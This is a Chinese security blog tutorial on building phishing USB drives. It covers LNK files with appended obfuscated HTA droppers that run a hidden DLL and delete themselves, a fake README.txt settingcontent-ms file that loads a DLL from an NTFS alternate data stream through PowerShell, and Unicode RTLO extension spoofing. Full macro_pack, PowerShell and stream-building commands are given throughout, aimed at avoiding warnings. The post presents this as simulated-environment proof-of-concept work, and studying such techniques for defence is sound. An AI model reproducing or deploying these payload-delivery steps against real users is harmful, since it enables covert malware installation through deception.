當前位置:
首頁 > 最新 > 實例:用U盤釣魚

實例:用U盤釣魚

一次性進群,長期免費索取教程,沒有付費教程。

教程列表見微信公眾號底部菜單

在本文中,我想給大家展示如何利用惡意U盤的一些PoC方法,這些方法可以在模擬攻擊環境中進行攻擊。這類攻擊方法必須遵循如下規則:

1、沒有建立互聯網連接;

2、除了目標系統的OS信息之外,對其他信息一無所知;

3、U盤上可見的內容應該儘可能少地觸發警告信息;

4、載荷的執行應該儘可能少地觸發警告信息。

我們的目標是傳播並運行二進位載荷。在如下一些樣例中,我們的載荷為DLL文件(payload.dll)。

實例一:利用LNK文件

目標系統:MS Windows OS

主要原理:我曾介紹過如何利用HTA文件發起攻擊,這是具體的操作方法。



我們可以利用macro_pack來構造經過混淆處理的HTA載荷,該載荷可以釋放並執行payload.dll,具體命令如下:

echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G

payload.hta

EMBED_DLL模板可以創建一段VB代碼,釋放-embed參數所指向的文件,並使用Rundl32l來載入這個文件。我們可以指定模板運行DLL文件的DllMain函數。

我們可以使用-G選項來生成HTA文件,文件中的VB代碼經過混淆處理。

大家可以使用mshta來檢查HTA文件是否能正常運行,是否會調用我們的DLL文件(DLL文件將被釋放到臨時目錄中)。


我們也可以使用EMBED_EXE這個macro_pack模板來嵌入、釋放並運行我們選定目錄中的載荷。在本文案例中,我們使用的是「confidential.jpg」這張圖片。我們的目標是將該圖片釋放到惡意LNK文件所處的同一目錄中,這樣一旦DLL載荷被成功運行,該圖片就可以替換對應的LNK文件。

echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G

pic.hta

如果我們雙擊pic.hta,我們會看到confidential.jpg圖片被釋放到當前目錄中,並且被默認的圖片查看器打開。


我並沒有開發具體功能來將多個二進位載荷嵌入一個macro_pack中,也就是說我們必須生成DLL釋放器、圖片釋放器然後手動執行複製粘貼操作才能構造最終可用的HTA載荷。

具體操作如下:

1、使用文本編輯器打開payload.hta以及pic.hta文件;

2、將pic.hta的AutoOpen函數重命名為AutoOpen2;

3、將pic.hta的所有vb代碼拷貝到payload.hta中(最後兩行的AutoOpen以及Close代碼除外)。

4、編輯payload.hta文件最後兩行的AutoOpen以及Close代碼。

現在payload.hta文件會釋放並運行圖片,然後運行DLL並在運行後刪除自身文件。

注意:如果我們想要多次使用同一個USB介質,我們需要去掉自刪除代碼,將圖片釋放到臨時目錄中,而非當前目錄中。


注意:我們在構造USB載荷時,遇到的一個難題是載荷需要知道自己所處的具體路徑。這個例子中,我們依賴的是macro_pack,它可以配置LNK文件運行在當前目錄中,這樣一來%cd%命令就能給出當前的卷名及路徑。在第二個PoC中我們可以看到更為困難的一種場景。

我們可以使用macro_pack來生成LNK。我選擇直接將快捷方式生成到USB介質中,避免我們拷貝快捷方式時系統對其做出修改。這裡USB介質的卷標為「G:」。

當提示輸入「Shortcut_Target」時我們輸入如下信息:

當提示輸入「Shortcut_Icon」時我們輸入如下信息:

%windir%system32imageres.dll,67

注意:67這個數字對應的是imageres.dll中的JPG圖像。

現在LNK快捷方式已創建完畢,我們可以將HTA代碼附加到該文件中。

就這麼簡單,我們的釣魚載荷已構造完畢。


將confidential.jpg.lnk拷貝到某個USB介質中,並將該介質插入另一個Windows主機上。訪問U盤並雙擊confidential.jpg,系統會向我們顯示對應的圖片。

DLL已被成功載入,但處於隱藏狀態,我們可以使用taskmgr或者Sysinternals的procexp觀察正在運行的DLL。DLL文件被釋放到臨時目錄中的「Document1.asd」,並使用如下VB代碼加以運行。

CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,

>>", 0

順利執行後,我們會發現U盤上LNK文件已不復存在,被替換成正確的圖片文件。

實例二:利用惡意設置

目標系統:MS Windows 10

主要原理:Matt Nelson之前發表過有關SettingContent-ms文件的研究結果,這裡用到的就是這個原理。


在這個場景中,我們的任務是讓目標用戶認為他打開的是「README.txt」文件,實際上他運行的是一個惡意的settingcontent-ms文件。

由於settingcontent-ms文件遵循嚴格的XML規範,因此貌似我們無法像前一種方法那樣將其與HTA文件融合起來。這裡我們可以使用NTFS的Alternate Data Streams(ADS,供選數據流)來隱藏並運行DLL載荷。

這個settingcontent-ms文件將會執行隱藏在Alternate Data Stream(README.txt.settingcontent-ms:R)中的DLL,也會運行Notepad來顯示另一個ADS(README.txt.settingcontent-ms:T.txt)中存放的欺詐文本。

settingcontent-ms文件的優勢在於它不會像LNK或者URI文件那樣圖標上有個快捷箭頭。


首先我們可以構建一個簡單的文本文件,當目標用戶打開readme文件時就會在notepad中看到具體內容。

echo "This is a simple README file." > Text.txt


我們可以使用macro_pack來生成settincontent-ms文件。比如,我們可以使用如下命令來生成一個偽造的README.txt文件,該文件可以通過命令行來運行計算器應用:

echo "C:windowssystem32cmd.exe /c calc.exe" "." | macro_pack.exe -G README.txt.

settingcontent-ms

能彈出計算器的確很不錯,但我們真正需要的是能夠運行載荷。DLL以及欺詐文件會隱藏在USB介質NTFS文件系統的Alternate Data Stream中。我們所面臨的問題在於settingcontent-ms文件默認會在「C:windowssystem32」中打開,這意味著我們需要找到一種方法來定位USB介質所對應的卷標。我使用了powershell來完成這個任務,可能還有其他方法能夠解決這個問題。

我希望執行的命令行如下所示:

%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter

"DriveType="2"").Name;Start-Process "notepad.exe" "$driveREADME.txt.

settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.

txt.settingcontent-ms:R"

這段命令所做的操作包括:

1、調用wmi來獲取USB卷名,存放到$drive變數中;

2、運行notepad打開README.txt.settingcontent-ms:T.txt中的誘騙文件。

3、運行control.exe來載入README.txt.settingcontent-ms:R中的DLL載荷。

需要注意的是,這裡我們可以參考上一種場景,使用rundll32來運行DLL,然而我想嘗試一下其他方法。

構造完畢的README.txt.settingcontent-ms文件如下所示:

windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.

immersivecontrolpanel %windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject

Win32_Volume -Filter "DriveType="2"").Name;Start-Process "notepad.exe"

"$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe"

"$driveREADME.txt.settingcontent-ms:R" .

@shell32.dll,-4161 @shell32.dll,-4161

首先,我們需要確保USB介質已經使用NTFS文件系統格式化過。

其次,將README.txt.settingcontent-ms文件移動到NTFS USB介質中。

在這個例子中,USB介質所對應的卷標為「G:」。

現在我們可以來構建ADS。

首先是包含DLL的README.txt.settingcontent-ms:R流:

type payload.dll > G:README.txt.settingcontent-ms:R

然後是包含誘騙文本的G:README.txt.settingcontent-ms:T.txt流:

type Text.txt > G:README.txt.settingcontent-ms:T.txt

我們可以使用sysinternal的「Streams」工具來檢查創建的ADS的確對應USB介質上的文件。

注意:如果我們編輯並保存USB介質上的README.txt.settingcontent-ms,那麼與文件關聯的Alternate Data Stream就會丟失,我們不得不重新執行以上兩條命令。

將製作好的U盤插入另一台Windows 10主機上。訪問這個U盤,雙擊「README.txt」。我們可以看到DLL被成功載入,並且notepad會自動打開,展示「This is a simple README file. 」文本。

實例三、利用Unicode RTLO

目標系統:MS Windows以及其他系統

主要原理:實話實說我已不記得最早在哪看到這種方法。


這一次我們準備構造一個欺詐文件後綴名,具體方法是注入Unicode Right-To-Left-Overrive(RTLO)字元。這是隱藏文件擴展名的一種絕佳方法,因為在RTLO之後的所有字元將以從右到左的方式呈現給用戶。

比如,我可以使用macro_pack來構造能夠運行計算器的一個HTA文件,該文件帶有偽造的「.jpg」擴展名。具體命令如下:

echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg

在資源管理器中,這個文件看起來像是calcath.jpg,而實際上它的文件名為calc[rtlo]gpj.hta。

這種方法非常有趣,並且也適用於其他操作系統(如Ubuntu),也有可能適用於其他應用程序,如郵件客戶端等。


我們可以通過多種方法來利用unicode RTLO實施釣魚攻擊。

比如,一種方法就是將惡意的exe文件偽裝成zip文件(更改文件圖標,同時使用RTLO方法使文件名看起來以.zip後綴名結束)。

在某個攻擊場景中,當目標用戶雙擊偽造的zip文件後,exe文件就會運行載荷,打開隱藏在文件資源區或者ADS中的zip誘騙文件。

【推薦書籍】


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 計算機與網路安全 的精彩文章:

TAG:計算機與網路安全 |